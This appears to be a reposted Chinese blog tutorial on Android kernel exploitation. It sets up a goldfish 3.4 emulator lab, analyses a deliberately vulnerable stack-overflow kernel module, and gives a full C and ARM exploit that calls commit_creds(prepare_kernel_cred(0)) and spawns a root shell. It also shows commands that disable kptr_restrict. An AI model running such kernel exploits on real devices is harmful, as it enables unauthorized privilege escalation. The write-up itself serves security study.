Android内核漏洞——初探
2019-11-11 10:20:02 Author: xz.aliyun.com(查看原文) 阅读量:431 收藏

环境搭建

搭建平台:Ubuntu 16.04

# 下载内核代码
git clone https://aosp.tuna.tsinghua.edu.cn/kernel/goldfish.git

# clone漏洞项目
git clone https://github.com/Fuzion24/AndroidKernelExploitationPlayground.git kernel_exploit_challenges

#将内核切换到3.4版本
cd goldfish
git checkout -t origin/android-goldfish-3.4

#git am 可以将 patch 应用到当前的内核,--signoff 意味着使用自己的提交者标识向提交消息添加 Signed-off-by: 一行。这里应该是修改了内核编译配置,把项目中带漏洞中的模块编译进内核。
git am --signoff < ../kernel_exploit_challenges/kernel_build/debug_symbols_and_challenges.patch && \
cd .. && ln -s $(pwd)/kernel_exploit_challenges/ goldfish/drivers/vulnerabilities

#下载 arm-linux-androideabi-4.6 交叉编译工具链
git clone https://aosp.tuna.tsinghua.edu.cn/platform/prebuilts/gcc/linux-x86/arm/arm-linux-androideabi-4.6

#构建内核
export ARCH=arm SUBARCH=arm CROSS_COMPILE=arm-linux-androideabi- &&\
export PATH=$(pwd)/arm-linux-androideabi-4.6/bin/:$PATH && \
cd goldfish && make goldfish_armv7_defconfig && make -j8

编译完成后,就会有两个主要的文件:goldfish/vmlinux 和 goldfish/arch/arm/boot/zImage。前面那个用于在调试时 gdb加载,后面的用于在安卓模拟器启动时加载。
vmlinux 用于提供符号表,zImage 则用于运行环境。


#下载jdk
sudo apt update
sudo apt-get install default-jre default-jdk
#下载sdk
wget http://dl.google.com/android/android-sdk_r24.4.1-linux.tgz
tar xvf android-sdk_r24.4.1-linux.tgz
export PATH=YOURPATH/android-sdk-linux/tools:$PATH

android
下载图中两个依赖文件

#创建安卓模拟器
android create avd --force -t "android-19" -n kernel_challenges

#然后进入 goldfish 目录,使用下面的命令来使用我们的内核来运行模拟器,并在 1234 端口起一个 gdbserver 来方便进行内核调试
emulator -show-kernel -kernel arch/arm/boot/zImage -avd kernel_challenges -no-boot-anim -no-skin -no-audio -no-window -qemu -monitor unix:/tmp/qemuSocket,server,nowait -s

sudo ln -s /usr/lib/x86_64-linux-gnu/libpython2.7.so /lib/x86_64-linux-gnu/libpython2.6.so.1.0

arm-linux-androideabi-gdb vmlinux

正常的话,会是如下输出

因为我装了pwndbg会有一些报错,正常现象

(gdb) target remote :1234

Remote debugging using :1234
cpu_v7_do_idle () at arch/arm/mm/proc-v7.S:74
74      mov pc, lr

#这样的话我们就可以正常调试了
#安装adb
sudo apt install android-tools-adb

adb shell之后会出现emulator-5554 offline,然后adb kill-server /adb start-sever都试过了,adb也升到32版本了,都不行,然后进下如下操作,可以了…….

netstat -tulpn | grep 5554
sudo kill -9 10954

stack_buffer_overflow代码分析

#项目地址
https://github.com/Fuzion24/AndroidKernelExploitationPlayground

代码:

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/proc_fs.h>
#include <linux/string.h>
#include <asm/uaccess.h>
#define MAX_LENGTH 64
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Ryan Welton");
MODULE_DESCRIPTION("Stack Buffer Overflow Example");
static struct proc_dir_entry *stack_buffer_proc_entry;
int proc_entry_write(struct file *file, const char __user *ubuf, unsigned long count, void *data)
{
    char buf[MAX_LENGTH];
    if (copy_from_user(&buf, ubuf, count)) {
        printk(KERN_INFO "stackBufferProcEntry: error copying data from userspace\n");
        return -EFAULT;
    }
    return count;
}
static int __init stack_buffer_proc_init(void)
{
    stack_buffer_proc_entry = create_proc_entry("stack_buffer_overflow", 0666, NULL);
    stack_buffer_proc_entry->write_proc = proc_entry_write;
    printk(KERN_INFO "created /proc/stack_buffer_overflow\n");
    return 0;
}
static void __exit stack_buffer_proc_exit(void)
{
    if (stack_buffer_proc_entry) {
        remove_proc_entry("stack_buffer_overflow", stack_buffer_proc_entry);
    }
    printk(KERN_INFO "vuln_stack_proc_entry removed\n");
}
module_init(stack_buffer_proc_init);
module_exit(stack_buffer_proc_exit);

上述驱动会创建/proc/stack_buffer_overflow设备文件,当向该设备文件调用 write 系统调用时会调用proc_entry_write函数进行处理,在proc_entry_write函数中定义了一个64字节大小的栈缓冲区,copy_from_user函数(实现了将用户空间的数据传送到内核空间)在处理数据时并未检测数据长度,直接拷贝至内核空间(此处可通俗理解memcpy的内存拷贝),导致可以覆盖栈上保存的返回地址,然后劫持程序流程,从而实现代码执行的效果。不过这是在内核空间,可以直接用来提权getshell。

前置知识

PXN

PXN是Privileged Execute-Never 的缩写,按字面翻译就是“特权执行从不”,是ARM平台下的一项内核保护措施,作用是禁止内核执行用户空间的代码(但没有阻止内核去读取用户空间的数据),它的开启与否主要由页表属性的PXN位来控制

3.4的内核没有开PXN保护,在内核态可以跳转到用户态的内存空间去执行代码,我们此次模拟用的是3.4的内核,没有开启pxn,但是在3.10以上的内核中开启了PXN保护,无法执行用户态内存中的shellcode

Kernel Address Display Restriction

在linux内核漏洞利用中常常使用commit_creds和 prepare_kernel_cred 来完成提权,/proc/kallsyms 文件中保存着所有的内核符号的名称和它在内存中的位置。从Ubuntu 11.04和RHEL 7开始,/proc/sys/kernel/kptr_restrict 被默认设置为1以阻止通过这种方式泄露内核地址。

cat /proc/kallsyms | grep commit_creds              
#查看是否开启Kernel Address Display Restriction

可以看到已经开启了Kernel Address Display Restriction,我们现在把它关闭

#关闭Kernel Address Display Restriction
echo 0 > /proc/sys/kernel/kptr_restrict

POC

由于buf 大小为64字节,所以我们输入72字节去覆盖pc指针

echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > /proc/stack_buffer_overflow

可以看到触发了kernel panic,并且成功劫持了pc寄存器

EXP

由于没开pxn以及Kernel Address Display Restriction,所以我们的利用shellcode提权,思路是

  • prepare_kernel_cred(0) 创建一个特权用户cred
  • commit_creds(prepare_kernel_cred(0)); 把当前用户cred设置为该特权cred
  • MSR CPSR_c,R3 从内核态切换回用户态
  • 然后执行 execl("/system/bin/sh", "sh", NULL);起一个 root 权限的 shell

完整exp如下

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
#define MAX 64
int open_file(void)
{
    int fd = open("/proc/stack_buffer_overflow", O_RDWR);
    if (fd == -1)
        err(1, "open");
    return fd;
}
void payload(void)
{
    printf("[+] enjoy the shell\n");
    execl("/system/bin/sh", "sh", NULL);
}
extern uint32_t shellCode[];
asm(
    "    .text\n"
    "    .align 2\n"
    "    .code 32\n"
    "    .globl shellCode\n\t"
    "shellCode:\n\t"
    // commit_creds(prepare_kernel_cred(0));
    // -> get root
    "LDR     R3, =0xc0039d34\n\t" //prepare_kernel_cred addr
    "MOV     R0, #0\n\t"
    "BLX     R3\n\t"
    "LDR     R3, =0xc0039834\n\t" //commit_creds addr
    "BLX     R3\n\t"
    "mov     r3, #0x40000010\n\t"
    "MSR     CPSR_c,R3\n\t"
    "LDR     R3, =0x82d5\n\t" // payload function addr
    "BLX     R3\n\t");
void trigger_vuln(int fd)
{
#define MAX_PAYLOAD (MAX + 2 * sizeof(void *))
    char buf[MAX_PAYLOAD];
    memset(buf, 'A', sizeof(buf));
    void *pc = buf + MAX + 1 * sizeof(void *);
    printf("shellcdoe addr: %p\n", shellCode);
    printf("payload:%p\n", payload);
    *(void **)pc = (void *)shellCode; //ret addr
    write(fd, buf, sizeof(buf));
}
int main(void)
{
    int fd;
    fd = open_file();
    trigger_vuln(fd);
    payload();
    close(fd);
}

解释下shellcode

"LDR     R3, =0xc0039d34\n\t" 
"MOV     R0, #0\n\t"
"BLX     R3\n\t"
"LDR     R3, =0xc0039834\n\t" 
"BLX     R3\n\t"

这几句汇编是执行commit_creds(prepare_kernel_cred(0));

其中0xc0039d34是prepare_kernel_cred的地址,0xc0039834是commit_creds的地址

"mov    r3, #0x40000010\n\t"
 "MSR    CPSR_c,R3\n\t"

这个是通过CPSR状态寄存器完成从内核态到用户态的切换,将CPSR的M[4:0]位置为0b10000切换到用户模式

"LDR     R3, =0x82d5\n\t"
"BLX     R3\n\t");

这是跳转到payload函数,R3寄存器的值可以随便填个,先编译文件,exp里会打印payload函数的地址,再填入

踩坑

调试的时候可能会遇到adb push,read-only system的情况,以下方法可解决
  • adb remount

  • adb shell

  • chmod 777 system

汇编BX跳转的实际地址由于thumb指令的原因,是ida里面看的地址+1

reference

http://www.cnblogs.com/armlinux/archive/2011/03/23/2396833.html

https://github.com/Fuzion24/AndroidKernelExploitationPlayground/blob/master/challenges/stack_buffer_overflow/solution/jni/stack_buffer_overflow_exploit.c

https://www.cnblogs.com/hac425/p/9416962.html

<https://paper.seebug.org/808/


文章来源: http://xz.aliyun.com/t/6715
如有侵权请联系:admin#unsafe.sh